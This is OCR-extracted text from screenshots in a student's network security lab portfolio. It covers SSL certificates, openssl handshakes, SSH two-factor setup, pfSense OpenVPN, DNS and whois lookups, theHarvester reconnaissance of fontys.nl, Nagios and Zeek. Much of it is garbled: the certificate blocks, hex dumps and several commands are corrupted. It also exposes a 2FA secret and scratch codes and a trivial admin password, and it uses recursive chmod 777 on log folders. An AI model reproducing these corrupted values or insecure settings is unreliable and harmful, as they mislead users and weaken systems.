organization Name (eg, company) [Internet Widgits Pty Ltd]:Fontys UAS
Organizational Unit Name (eg, section) []:SSL Certificate test

Common Name (e.g. server FQDN or YOUR name) []:localdomain.com

Email Address []:florinpana98@gmail.com
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€2 Ubuntt Apache Conf Welcome to m Welcome to my

[} @ Firefox about:certificate?cert=MIIELzZCCAxegAWIBAgIUAYKyHi4dQe1Wc0%2BVw! 1% [©]

Certificate

localdomain

Subject Name

Country  NL
State/Province  Noord Brabant
Locality  Eindhoven
Organization  Fontys
Organizational Unit  SSL Certificate Test
Common Name  localdomain
Email Address  florinpanags@gmail.com
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depth=0 C = NL, ST = Noord Brabant, L = Eindhoven, 0 = Fontys, OU
in, emailaddress = florinpanags@gmail.con

verify error:num=18:self signed certificate

verify return:1

depth=0 C = NL, ST = Noord Brabant, L = Eindhoven, 0 = Fontys, OU
in, emailaddress = florinpanags@gmail.con

verify return:1

Certificate chain

© s:C = NL, ST = Noord Brabant, L = Eindhoven, O = Fontys, OU =

emailAddress = florinpanags@gmail.con

1:C = NL, ST = Noord Brabant, L = Eindhoven, 0
emailAddress = florinpanags@gmail.con
-BEGIN CERTIFICATE-
MITELZCCAXegAWIBAGIUAYKyH14dQe1WcO+Vw85xpNxK1PBWDQYIKoZThvCNAQEL
BQAWgaYXCzAJBGNVBAYTAKSMMRYWFAYDVQQTDA10b29yZCBCCMFLYWSOMRIWEAYD
VQQHDATFah5kaG92ZW4xXDZANBGNVBAOMBKZYbNR5cZEMBSGALUECWWUUINMIENL
CNRPZMLYXRUIFRLC3QXFDASBGNVBAMMC2XVY2FSZGItYWLUMSUWIWYIK0ZIhveN
AQKBFhZnbGOyah5wYWShOThAZ21haWwuY29 tMBAXDT IXMTIXODEYNDEWMFOXDTTy.
MTIXODEYNDEWMFowWgaYxCzAJBNVBAYTAKSMMRYWFAYDVQQIDA10b29yZCBCCMFL
YW5OMRIWEAYDVQQHDAF ah5kaG92ZW4xDZANBGNVBAOMBKZvbnRSCZEAMBS GAUE
CWWUUINMIENLCNRpZmLjYXRLIFRLC3QXFDASBGNVBAMMC2XVY2FSZGOtYWLUMSUW
TWYJKoZThvcNAQKBFhZmbGOyaWSwWYWShOThAZ21halwuY29tMITBI JANBgKGhiG
SWOBAQEFAAOCAQBAMI TBCGKCAQEA3PVKa8904h2C/Y3g2doIutX5MPZOb22TnSGY
bMZN3hCXmt9AGUA94MNGAe1sL F+bk/jaqFbNALUS189dofx35150yA3Mbc+1us1X
UZ1CsPB1Q/0dv+0cqQWNODSHK7309BIhnnadZIj7tDvu/HLG6/LSHPGGCIBL/IrQ0
p2gGirjMyFj5hsd87Dh8QD2GGbesnzsgZFOPNUS IXFCSGUEKB7 IVCKBDRIQHWLa
nY+kzs0qe13dIXs1Tcay3toRmpuMEXSkN/Kd6L5S5ZCyVFWUXZSAK/ELCXTGHNCN
MZt0SS30+DeVr9S8zSan9u+2ZZH12Tx91PIIYTDIFIb7bI02TQIDAQABO1MWUTAd
BGNVHQ4EFQUNQX2fTRMLp83PFar XTvyKUEViBQWHWYDVRO JBBgWFOAUNQX2fTRM
1p83PFarXTvyKUEViBQWDWYDVROTAQH/BAUWAWEB /zANBgkahki1GIWOBAQSFAAOC
AQEAN90Ta2qmw/Ipnql/pizNUDngnk2g/t1qUOFXI6R8Fr1aDPLZRCO7LSMOMVZD
yTSH1kYv9QF410Z1AEUWS THH3VtbiL 7DTsgeuHpnV64g3IF t8oGEVST JHSWAUTKF
OnB7geRWI LnVUPTSsHs7MW2AB37hk LTYKRGWHIXCoc fg jRe+14LPGE1rRADC6QtN+
9IntPL79yWFSABHIR32F6M/ joaMDMi9Cvb/zgdPv2NBs45bezqEAN98ZpIULNZP3
UA9Pem1F 1W7WyeHXVRTX4UqgxxTy7R3NpXz /KaEG2qI4CMoS2kzdVEA8X3CWaN1a
0ZLWRX07VXq7Mt2MFyTOaUYNXG:
-END CERTIFICATE

Fontys, OU =

SSL Certificate Test,

SSL Certificate Test,

SSL Certificate Test, CN

SSL Certificate Test, CN

localdoma

localdoma

Tocaldomain,

Tocaldomain,
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Peer signing digest: SHA256

Peer signature type: RSA-PSS

Server Temp Key: X25519, 253 bits

SSL handshake has read 1631 bytes and written 363 bytes
Verification error: self signed certificate

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit

Secure Renegotiation IS NOT supported
Compression: NONE

Expansion: NONE

No ALPN negotiated

Early data was not sent

Verify return code: 18 (self signed certificate)

Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSV1.3
Cipher TLS_AES_256_GCM_SHA384
Session-ID: 7A50C63434E51D36DB5C1DEAA7DO71895EF5040F85AEOABBE1A81CES6B7SACOA
Session-ID-ct;
Resumption PSi
OFEEDSACFE43
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 90 6d 41 1f 20 51 94 ce-ec 81 4a 9d f8 6f c9 66
0010 - d8 ae be 73 97 ab 15 b5-ce bf 07 20 99 9f c1 3e
0020 - 4b a4 bb bd 76 94 ee 1c-7c e3 62 77 bc 7b af dd
0030 - e6 c4 5b 66 69 bs 06a 67-60 b2 5a 9a 62 7d 98 bd
0040 - ac e5 de 4f le 3d bb 87-ed b2 26 5a c1 b1 4b d3
0050 - b2 14 24 ce 97 30 22 ca-14 ec 64 19 e3 e2 d3 b6
0060 - 74 e4 86 22 3a b9 63 8d-78 db 00 94 55 a7 5f 7a
0076 - 6b 24 5b 50 65 24 1a 9a-ea 32 1b 65 c8 85 4d d7

2C26292BFC57A3CCFIA351A95A0323335FBE91C59A083A9E7664BA0421B62F 52C637EAB19420FD373DD6
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Start Time: 1641468005

Timeout 7200 (sec)

Verify return code: 18 (self signed certificate)
Extended master secret: no

Max Early Data: ©

read R BLOCK

Post-Handshake New Session Ticket arrived:

SSL-Sessiol
Protocol : TLSV1.3
Cipher  : TLS_AES_256_GCM_SHA384
Session-ID: C3BDF83C17EGB1DCBAFFDSE02EB34032A37CF811701B976BIDIIESI6726C4DOG

Session-ID-ctx:

Resumption PSK: E5915D5DSBE492F8765ECC1C447627AA181E1557667D41380242266701C7D307B2F478382247EE795FD8
SSE3EA1E39F9

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - 90 6d 41 1f 20 51 94 ce-ec 81 4a 9d 8 6f c9 66 .mA. Q....]..0.f

0010 - 14 5a Ge 85 d7 e2 2e 3f-86 25 b7 7c 5d €2 Se c4  .Z.....2.%.|].n

0020 - 05 f4 b8 96 fd 71 70 f5-11 8b 4f 41 6b d7 e3 87 -qp...0Ak.

0030 - 6d 4c 11 ce 6e b3 Oc 88-a3 b7 ae do 03 a1 f7 b7

0040 - a1 48 1c be d7 24 2e 2f-76 bd 3d e2 aa 55 bo 2e

0050 - fb be f1 92 64 c3 60 58-59 35 05 7c ad 53 d5 1d

0060 - 3f 00 d8 65 dd b4 3f d5-6a d1 8b 43 dc a2 5 86

0070 - 9e 9b df 30 Ge fe 82 13-b1 cd ef 85 28 d2 fb ac  ...0n.......(
0080 - 58 fO 62 08 e8 49 de ae-c7 64 d7 20 25 36 f9 71  X.b..I...d. %6.q
0090 - C5 45 86 64 30 f5 fa c7-9f 2f e8 59 7c bb 7c 7f  .E.d0..../.V|.|.
0020 - 49 3d @e e3 cb 63 93 d1-14 2c bs c5 10 8e Ge 5f dBooono

00b0 - d6 17 fb 88 35 34 90 6b-83 eb 08 ed €2 fb 6a €3  ....54.k......J
00c0 - 2c f9 da 9f 10 72 2b 11-4f @d 57 91 3c 16 fb 51 ,....r+.0.W.<..Q
00d0 - €0 12 7b d4 bd 67 f9 c2-ae 7c 51 2a e9 91 a2 1 ..{..g...|Q*.
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student@student-virtual-machin
CONNECTED(00000003 )
depth=2 C = US, 0 = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
verify return:1
depth=1 C = US, 0
verify return:1
depth=0 C = US, ST = California, L = Menlo Park, 0 =
verify return:1
Certificate chain
0s Us, ST = California, L = Menlo Park, O = "Facebook, Inc.”, CN = *.instagram.com

1:C = Us, 0 = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 High Assurance Server CA
-BEGIN CERTIFICATE-----
MITGYZCCBUUGAWIBAGTQBZIWAKEUK750DILWKILCPDANBgkqhk1GIWOBAQSFADBW
MQSWCQYDVQQGEWIVUZEVMBMGATUEChMMRGLNAUNLcNQGSHS JMRKWFWYDVQQLEXB3
d3cuZGLnakN1cnQuY29 tMSBWLQYDVQQDEYZEaWdpQ2VydCBTSEEYTERPZ2ggQXNZ.
dXJhbmNLIFNLcnZ1ciBDQTACFWOYMTEWHTUWMDAWMDBaFWOYMAXMTHYMZUSNT La
MGOXCZAJBGNVBAYTALVTMRMWEQYDVQQIEWpDYWXpZm9ybmLhMRHWEQYDVQQHEWPN
ZW55byBQYXJIrMRCWFQYDVQQKEWSGYWNLYmSVaywgSW5 jL JEYMBYGA1UEAWWPKSp
bnNOYKdyYWOUY29 tMFKWEWYHK0Z Iz JOCAQYTKOZTZj0DAQCDQGAEGOX2LMRAr PO

> opensslL s_client -showcerts -connect instagram.com:443

DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 High Assurance Server CA

acebook, Inc.”, CN = *.instagran.com
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Server certiricate
subject=C = Us, ST = California, L = Menlo Park, O = "Facebook, Inc.”, CN = *.instagram.con

issuer=C = US, 0 = DigiCert Inc, OU = www.digicert.com, CN = DigiCert SHA2 High Assurance Server CA

No client certificate CA names sent
Peer signing digest: SHA256

Peer signature type: ECDSA

Server Temp Key: X25519, 253 bits

sSL handshake has read 3182 bytes and written 369 bytes
Verification: OK

New, TLSv1.3, Cipher is TLS_CHACHA20_POLY1305_SHA256
server public key is 256 bit

Secure Renegotiation IS NOT supported

Compression: NONE

Expansion: NONE

No ALPN negotiated

Early data was not sent

Verify return code: © (ok)

Post-Handshake New Session Ticket arrived:

SSL-Sessiof
Protocol : TLSV1.3
Cipher  : TLS_CHACHA20_POLY1305_SHA256
Session-ID: A7A5C4FFGCBOECBA2BF56D6497383014A1DC8778ADF7AD740C3FB1095EDC5B49

Session-ID-ctx:
Resumption PSK: DD2B584A3F6EA91807DEAIBF6ACO414CF662045BC07BC79342B9864169BD7F74
PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 172800 (seconds)

TLS session ticket:

0000 - 49 4f bb 82 7b 41 d2 bf-de cf 32 5d 9c 48 af de
0010 - 47 32 79 7d ce 57 a5 b9-01 09 98 71 bo d8 68 ce
0020 - 00 60 60 00 c5 03 d3 e2-a7 d4 13 72 7b 89 a4 d2
0030 - e8 6b e1 08 0d 34 1f 5f-e6 46 e 76 a7 85 d5 00
0040 - db 7b ea 15 11 36 2c ff-8c d8 3c 35 83 09 97 66
0050 - 87 6b ab 92 01 8b 4d 8a-09 38 9a 07 4a d4 df 03
0060 - 69 90 34 24 3f 1e c5 el-8a a7 9e db 01 6e 5a 1b
0070 - 41 61 c1 50 9f a9 ad ad-4a 5b 97 4f b3 9 45 7a
0080 - cO cf 82

Start Time: 1641469536
Timeout 7200 (sec)
Verify return code: 6 (ok)
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student@student-virtual-machine

$ sudo apt-get install ssh
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student@student-virtual-machine:~$ ifconfig
ens160: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1560
inet 172.16.1.11 netmask 255.255.255.0 broadcast 172.16.1.255
97:3b34 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:97:3b:34 txqueuelen 1000 (Ethernet)
RX packets 14771 bytes 31597794 (31.5 MB)
RX errors © dropped 20 overruns 0 frame ©
TX packets 14296 bytes 2232845 (2.2 MB)
TX errors @ dropped 0 overruns @ carrier 0 collisions @

flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.6.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 3298 bytes 381148 (381.1 KB)
RX errors © dropped © overruns 6 frame 0
TX packets 3298 bytes 381148 (381.1 KB)
TX errors @ dropped 0 overruns @ carrier @ collisions @
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\Users\panaf>tracert www.fhict.nl

Tracing route to www.fhict.nl [145.85.4.20]
over a maximum of 30 hops:

1 3 ms 2 ms 1ms 192.168.0.1
2 13ms 17 ms 10 ms dhcp-677-248-0682-001.chello.nl [77.248.82.1]

3 1lms 8ms 11 ms 212.142.55.17

4 16ms 14ms 13 ms asd-tr8@21-cr10l-belll-2.core.as33915.net [213.51.7.88]
5 12ms 12ms 10 ms nl-ams@da-ri3-ae51-0.core.as9143.net [213.51.64.194]
6 15ms 16 ms 11 ms ae78-0.asd0lb-jnx-01.surf.net [145.145.166.72]

7 l4ms 17 ms 15 ms ae23.dte0lb-jnx-01.surf.net [145.145.176.119]

8 18ms 20ms 19 ms ae23.ut@@la-jnx-01.surf.net [145.145.176.103]

9 Slms 18ms 13 ms ae20.ehvB@lb-jnx-01.surf.net [145.145.176.151]

10 14ms 13 ms 14 ms e4-0-2-0.ehv@l0a-jnx-@1.surf.net [145.145.12.61]

11 18ms 18 ms 16 ms fontys-router.customer.surf.net [145.145.12.62]

12 * * * Request timed out.

13 * * * Request timed out.

14 23ms  15ms 16 ms 145.85.4.1

15 * * * Request timed out.

16 * * * Request timed out.

17 * * * Request timed out.

18 * * * Request timed out.

19 * * * Request timed out.

20 * * * Request timed out.

21 * * * Request timed out.

2 * * * Request timed out.

23 * * * Request timed out.

2 * * * Request timed out.

25 * * * Request timed out.

2 * * * Request timed out.

27 * * * Request timed out.

28 * * * Request timed out.

29 * * * Request timed out.

E) * * * Request timed out.

Trace complete.
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&P student@student-virtu

B login as: student

P Keyboard-interactive authentication prompts from server:
| Password:

| Verification cods
P End of keyboard-interactive prompts from server

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux S.11.0-44-generic x86_64)

* Documentation: /help.ubuntu.com
* Management: /1andscape . canonical . com
* Support: nhttps://ubuntu.con/advantage

14 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

vous Hardware Ensblement Stack (SVE) is supported uwntil April 2025.
Last login: Tow gan € 13:13:3¢ 2022 from 172.1¢.1.11
“tuentéscudsntviztual machine: -5 |
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student@student-virtual-machine:~3 who
student 2022-01-06 10:25
student prs/1 2022-01-06 13:13
student pts/2 2022-01-06 13:38

(:0)
(172.16.1.11)
(172.16.2.2)
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C: \Users\panaf>nslookup
Default Server: ns0l.upclive.nl
Address: 62.179.104.196

> set type=mx
> fontys.nl

Server: ns0l.upclive.nl
Address: 62.179.104.196

Non-authoritative answer:
fontys.nl MX preference = @, mail exchanger = fontys-nl.mail.protection.outlook.com
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Certificate | Server Certificate h
Type

Add type-specific usage attributes to the signed certficate. Used for placing usage restrictions
on, or granting abilities to, the signed certificate.
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Definedby  USER
Disabled [ This user cannot login

Usemame | florin

Password

Fullname | Florin Pana

Users full name, for administrative information only
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Create Certificate for T

Descriptive [ vpnuser fontys| |

name
OpenVPN-CA v
RSA v
2048 v

The length to use when generating a new RSA key, in bits.
The Key Length should not be lower than 2048 or some platforms may consider the certificate

invalid
Digest sha256 v
Algorithm

The digest method used when the certificate is signed.
The best practice is to use an algorithm stronger than SHAT. Some platforms may consider
weaker digest algorithms invalid

Lifetime | 3650
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System / User Manager/ Users e

Users Groups  Settings  Authentication Servers

Usemame Full name Status Groups Actions
admin System Administrator v admins V
o Florin Pana v S0
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System / Package Manager/ Available Packages

Installed Packages

Available Packages

Search term openVPN Both v

Packages

Enter a search string or *nix regular expression to search package names and
descriptions.

Name Version ~Description

opemvpn-  1.6.2
client-
export

Allows a pre-configured OpenVPN Windows Client or Mac S X's Viscosity
configuration bundle to be exported directly from pfSense.

Package Dependencies:

@ openvpn-clientexport252 @ openvpn252.2 @zip301 @
p72ip16.02.3

+1
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System / Package Manager/ Package Installer e

piSense-pkg-openvpn-client-export installation successfully completed.

Installed Packages ~ Available Packages ~Package Installer

(. . - - - - O N O N O S S N N W N W
ckage Installation

> NOTICE:

The p7zip port currently does not have a maintainer. As a result, it is
more likely to have unresolved issues, not be up-to-date, or even be removed in
the future. To volunteer to maintain this port, please create an issue at:

https://bugs. freebsd.org/bugzilla

More information about port maintainership is available at:
https://www. freebsd.org/doc/en/articles/contributing/ports-
contributing. html#maintain-port

>>> Cleaning up cache... done.
Success
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C:\Users\panaf>nslookup
Default Server: ns@l.upclive.nl
Address: 62.179.104.196

> set type=mx
> fhict.nl

Server: ns@l.upclive.nl
Address: 62.179.104.196

Non-authoritative answer:

fhict.nl MX preference = 1, mail exchanger = fhict-nl.mail.protection.outlook.com
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Wizard / OpenVPN Remote Access Server Setup / 2]

OpenVPN Remote Access Server Setup
This wizard will provide guidance through an OpenVPN Remote Access Server Setup..
The wizard may be stopped at any time by clicking the logo image at the top of the screen.

Select an Authentication Backend Type

Type of Server Local User Access >

NOTE: If unsure, leave this set to "Local User Access.

 Next
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Tunnel Settings

Tunnel
Network

Redirect
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Local Network

Concurrent

172.16.2.0/24

This is the virtual network used for private communications between this server and client
hosts expressed using CIDR notation (eg. 10.0.8.0/24). The first network address will be
assigned to the server virtual interface. The remaining network addresses will be assigned to
connecting clients.

Force all client generated traffic through the tunnel.

172.16.1.0/24
This is the network that will be accessible from the remote endpoint, expressed as a CIDR
range. This may be left blank f not adding a route to the local network through this tunnel on
the remote machine. This is generally set to the LAN network.

1

‘Specify the maximum number of clients allowed to concurrently connect to this server.
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4| openVPNpFSense-UDPA-1194-florininstall-2.5.2-1601-amds4.exe
Completed —3.5 MB

]

Show all downloads
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Whois

dentity for everyone

DOMAINS 'WEBSITE HOSTING SERVERS EMAIL SECURITY WHOIS

fOntyS. nl Updated 1 second ago ()

) Domain Information

Domain: fontys.nl

Registrar: SURF BV.

Registered On: 1996-11-24

Updated On: 2021-02-04

Status: active

Name Servers: hermes.fontys.nl
nslsurfnet.nl

ns2.surfnet.nl
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Raw Whois Data

Domain name: fontys.nl
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Bbuse Contact:
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Creation Date: 1996-11-24

Updated Date: 2021-02-04
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nsl.surfnet.nl
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Record maintained by: NL Domain Registry
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:\Users\panat>ping www.fontys.nl

Pinging w.fontys.nl [145.85.2.54] with 32 bytes of data:
Reply from 145.85.2.54: 3ms
Reply from 145.85.2.54:
Reply from 145.85.2.54:
Reply from 145.85.2.54: 2 time=21ms

Ping statistics for 145.85.2.54:
Packets: Sent = 4, Received = 4, Lost = @ (% loss),
proximate round trip times in milli-seconds:
~ Minimum = 13ms, Maximum = 21ms, Average = 16ms
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a] student @kalivm2021: -
File Actions Edit View Help

L$ ping google.com

o

[5(student® kalivn2021)-(~)
$ theHarvester -d fontys.nl -1 500 -b google

theHarvester 4.0.0
Coded by Christian Martorella
Edge-Security Research

cmartorelladedge-security.com

[*] Target: fontys.nl

searching 0 results.
Searching 100 results.
Searching 200 results.
Searching 300 results.
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IDS vs. IPS

IPS is a control system.

IDS are detection and
monitoring tools.

The control system accepts
and rejects a packet based
on the ruleset.

Both read
network packets
and compare the
contents to a
database of
known threats.

These tools do not take
action on their own.

IPS requires that the
database gets regularly
updated with new
threat data.

IDS requires a human
or another system to
look at the results.
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How it works

Enabling two-factor
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~-$ sudo apt install libpam-google-authenticator
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Do you want authentication tokens to be time-based (y/n) y




image169.png
Your new secret key is: NZICYR6CGDAS27VYBZWOSGPTTM
Your verification code is 784486
Your emergency scratch codes are:

36929407

75839478

25358928

15151739

15141947

Do you want me to update your "/home/student/.google_authenticator" file? (y/n) ll
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File Actions Edit View Help

[*] Target: fontys.nl

searching 0 results.
Searching 100 results.
Searching 200 results.
; Searching 300 results.
Searching 400 results.
Searching 500 results.
(] searching Google.

[*] No 1Ps found.

o1 enatts fom
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[+] Hosts found: 3
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Do you want me to update your "/home/student/.google_ authenticator” file? (y/n) y
Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 36s, but it increases

your chances to notice or even prevent man-in-the-niddle attacks (y/n) n

By default, a new token is generated every 30 seconds by the mobile app.

In order to compensate for possible time-skew between the client and the server,
we allow an extra token before and after the current time. This allows for a
time skew of up to 30 seconds between authentication server and client. If you
experience problems with poor time synchronization, you can increase the window
from its default size of 3 permitted codes (one previous code, the current

code, the next code) to 17 permitted codes (the 8 previous codes, the current
code, and the 8 next codes). This will permit for a time skew of up to 4 minutes
between client and server.

Do you want to do so? (y/n) y

If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 3os.
Do you want to enable rate-limiting? (y/n) y
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sudo nano /etc/ssh/sshd_config
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ChallengeResponseAuthentication yes
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UsePAM yes
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#PermitRootLogin yeslj
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sudo systemctl restart ssh
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¢ PAM configuration for the Secure Shell service

# Standard Un*x authentication.
@include common-auth

#One-time password authentication via Google Authenticator
auth required pam_google_authenticator.soll

# Disallow non-root logins when /etc/nologin exists.
account  required pam_nologin.so

# Uncomment and edit /etc/security/access.conf if you need to set complex
# access limits that are hard to express in sshd_config.
# account required pam_access.so

# Standard Un*x authorization.
@include common-account
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student@student-virtual-machine:~$ ssh student@student-virtual-machine

The authenticity of host 'student-virtual-machine (127.6.1.1)' can't be established.
ECDSA key fingerprint is SHA256:EodtfVgFkcBMI7/usi0Zt4kserCYniTusqgzznCirys.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added 'student-virtual-machine' (ECDSA) to the list of known hosts.
Password:

Verification code:

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-43-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.con/advantage

13 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Your Hardware Enablement Stack (HWE) is supported until April 2625.
**% System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
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Nagios' XI

Welcome

Clickthe fink below t0 get tarted using Nagios X

orials and updates by visiting the Nagios Library a

ted o our supportforum at

Problems, comments, etc, should be dir

localhost login: root

[Password:
[Last login: Thu Dec 9 86:85:86 on ttyl

[root@localhost ~1#
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Nagios XI Installer

Welcome to the Nagios Xl intallaion. Just answier a few simple questions and you'l be readly 10 go.

General Program Settings

Program URL: hitps1172.16.1.12Inagiosxi!

Administrator Name: Nagios Administrator

Administrator Email Address: | root@localhost

Administrator Username: nagiosadmin
Administrator Password: student
Timezone Settings

Timezone: | (UTC+01:00) Amsterdam v
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ScanTarget  Exclusions Schedule  LastRun Devices Found Created By Status. Actions

1921681024 - Once. 2021-12.0915:06:39 1 New / 1 Total nagiosadmin  Finished X
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Scan Results
The hosts and services below were discovered during the auto-discovery scan. Select the hosts and services youd i fo monitor.
Services
[ Address  Type  OS Status  Host Name
[ ServiceName Service Port  Protocol
19216811 Unknown | Cisco ACE load balancer New | 19216311

No services were detecied on this host.
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Scan Results

<€ Back To Auto-Discovery Jobs

‘Scan Summary Processing Options.
‘Scan Date: 2021-12-09 15:06:57 Export Data As: Bcsv
ScanAddress: 1921681024 Configure Basic Monitoring: | b New hosts
Excludes: -

Initated By: nagiosadmin

Total Hosts Found: | 1 Show al

New Hosts Found: | 1

Discovered ltems
“The hosis below were discovered during the auto-discovery scan.
Show discovered senvces

Address  HostName Type  DevicelOperating System [Accuracy] @ MACVendor Status

19216811 192168.11 Unknown Cisco ACE load balancer [100%] New
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Auto-Discovery Monitoring Wizard

© Contiguraton applied successfuly.

Configuration Request Successful

‘ 2 Run this monitoring wizard again ‘ ‘ ® Run another monitoring wizard ‘

Other Options:

* View status detais for 192.168.1.1
« View the latest configuration snapshots
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Alert Triage and Prioritization
A definition of triage Determine the priority based on the severity of the incident”.

Triage is the first step to take, after first detection or reception of a security alert. In triage you gather information to be able to determine if the alert is a

real incident or a false positive and what the severity and impact of the incident is. From that you determine the priority. 3 steps in the triage as described in
cybersecurityresources.org e are:

« Step 1: Categorise the incident - how severe is it and what are the potential impacts?
« Step 2: Prioritise - does this require an urgent escalation or can it be easily resolved?
« Step 3: Assignment - Who is responsible for managing and resolving the incident, and by when?
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Categorise details
of the incident,

analyse priorities,
and assign to
incident team.
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Respond
In response different types of communication can be important, also as described on cybersecurityresources.org e :

« The technical response can include analysing the incident, advising on or planning a resolution, co-ordinating actions internally and externally,
containing any on-going malicious activity, repairing or recovering any affected systems, generating postmortem analysis reports, and performing
incident closure. Advice from your technology/service provider or accredited IT security consultant may be required.

« Management Response focuses on activities such as notifying staff and/or affected customers of a breach and advising of steps taken to resolve the
situation, approving courses of action and other communications.

« Legal response includes actions associated with an incident that could have legal or regulatory implications, such as those that involve privacy issues,
non-disclosure, copyright, and other legal matters. If the incident involves fraud or cyber-crime, you should report the incident to the police.
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$ ssh 172.16.1.11

student@student-virtual-machin
Passwor

Verification code:
Welcome to Ubuntu 20.64.3 LTS (GNU/Linux 5.11.0-44-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.con/advantage





image195.png
student@student-virtual-machine:~$ echo 'deb http://download.opensuse.org/repositories/secu
rity:/zeek/xUbuntu_20.64/ /' | sudo tee /etc/apt/sources.list.d/security:zeek.list

deb http://download.opensuse.org/repositories/security: /zeek/xUbuntu_20.04/ /
student@student-virtual-machine:~§ curl -fssL https://download.opensuse.org/repositories/se
curity:zeek/xUbuntu_20.04/Release.key | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/sec
urity_zeek.gpg > /dev/null
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student@student-virtual-machine:~$ sudo apt update

Hit:1 http://nl.archive.ubuntu.com/ubuntu focal InRelease

Get:2 http://download.opensuse.org/repositories/security:/zeek/xUbuntu_20.64 InRelease [1.
563 B]

Get:3 http://nl.archive.ubuntu.com/ubuntu focal-updates InRelease [114 kB]

Get:4 http://nl.archive.ubuntu.com/ubuntu focal-backports InRelease [108 kB]
Get:5 http://security.ubuntu.com/ubuntu focal-security InRelease [114 kB]

Get:6 http://download.opensuse.org/repositories/security:/zeek/xUbuntu_20.04 Packages [12,
6 kB]
Hit:7 https://deb.nodesource.com/node_14.x focal InRelease

Get:8 http://nl.archive.ubuntu.com/ubuntu focal-updates/main and64 Packages [1.443 k8]
Get:9 http://nl.archive.ubuntu.con/ubuntu focal-updates/main 1386 Packages [581 kB]
Get:10 http://nl.archive.ubuntu.com/ubuntu focal-updates/universe 1386 Packages [662 kB]
Get:11 http://nl.archive.ubuntu.con/ubuntu focal-updates/universe amd64 Packages [892 kB]
Fetched 3.928 kB in 25 (2.166 kB/S)
Reading package lists... Done

Building dependency tree

Reading state information... Done

26 packages can be upgraded. Run 'apt list

upgradable' to see them.
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~$ sudo apt install zeek
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Postfix Configuration

Please select the mail server configuration type that best meets your needs.

No configuration:

should be chosen to leave the current configuration unchanged.
Internet site:

Mail is sent and received directly using SMTP.

Internet with smarthost:

Mail is received directly using SMTP or by running a utility such
as fetchmail. Outgoing mail is sent using a smarthost.

satellite system:

ALl mail is sent to another machine, called a 'smarthost', for delivery.
Local only:

The only delivered mail is the mail for local users. There is no network.

General type of mail configuration:

Internet Site

Internet with smarthost
satellite system

Local only

<Ok> <Cancel>
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student@student-virtual-nachine:~5 sudo apt-cache policy zeek
zeek:
Installed: (none)
candidate: 4.1.1-0
Version table
4.1.1-0 500
560 http://download.opensuse.org/repositories/security:/zeek/xUbuntu_20.64 Packages
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~$ export PATH=/opt/zeek/bin:PATH
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Example ZeekControl node configuration

# This example has a standalone node ready to go except for possibly changin
# the sniffing interface

# This is a complete standalone configuration. Most likely you will
# only need to change the interface.

[zeek]

type=standalone

host=1localhost

interface=ens160




image202.png
## Global ZeekControl configuration file.

BRI,
# Mail Options

# Recipient address for all emails sent out by Zeek and ZeekControl.
MailTo = root@localhost

# Mail connection summary reports each log rotation interval. A value of 1
# means mail connection summaries, and a value of © means do not mail

# connection summaries. This option has no effect if the trace-summary

# script is not available.

MailConnectionSummary = ©

# Lower threshold (in percentage of disk space) for space available on the

# disk that holds SpoolDir. If less space is available, "zeekctl cron” starts
# sending out warning emails. A value of 0 disables this feature
MinDiskSpace = 5

# send mail when "zeekctl cron” notices the availability of a host in the
# cluster to have changed. A value of 1 means send mail when a host status
# changes, and a value of @ means do not send mail.

MailHostupDown = off

R
# Logging Options

# Rotation interval in seconds for log files on manager (or standalone) node
¢ A value of 0 disables log rotation.
LogRotationInterval = 86400
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# List of local networks in CIDR notation, optionally followed by a
# descriptive tag.

# For example, "10.0.0.0/8" or "fe80::/64" are valid prefixes

172.16.1.11/24 Private IP space




image204.png
student@student-virtual-machine:~$ sudo /opt/zeek/bin/zeekctl
Hint: Run the zeekctl "deploy” command to get started.

Welcome to ZeekControl 2.3.0-5
Type "help" for help.

[zeekcontrol] > check
zeek scripts are ok.
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Welcome to ZeekControl 2.3.0-5
Type "help” for help.

[zeekControl] > install
removing old policies in /opt/zeek/spool/installed-scripts-do-not-touch/site ...
removing old policies in /opt/zeek/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...

installing site policies ...

generating standalone-layout.zeek ...

generating local-networks.zeek .
generating zeekctl-config.zeek .
generating zeekctl-config.sh .
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[ZeekControl] > status
Name Type Host status  Pid
zeek standalone localhost running 16809
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student@student-virtual-machine:~5 sudo chmod 777 -R /opt/zeek/logs
student@student-virtusl-nachine:~$ sudo chmod 777 -R /opt/zeek/spool
student@student-virtual-machine:~$ cd /opt/zeek/logs/current

student@student-virtual-machine: /opt/zeek/logs/current$
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student@student-virtual-machine: /opt/zeek/logs/current$ cat conn.log

#separator

\x09

#set_separator

#enpty_field

#unset_field -
#path  conn
#open 2022-01-07-15-00-160

#fields ts

269

1641564000.

120

1641564000

365

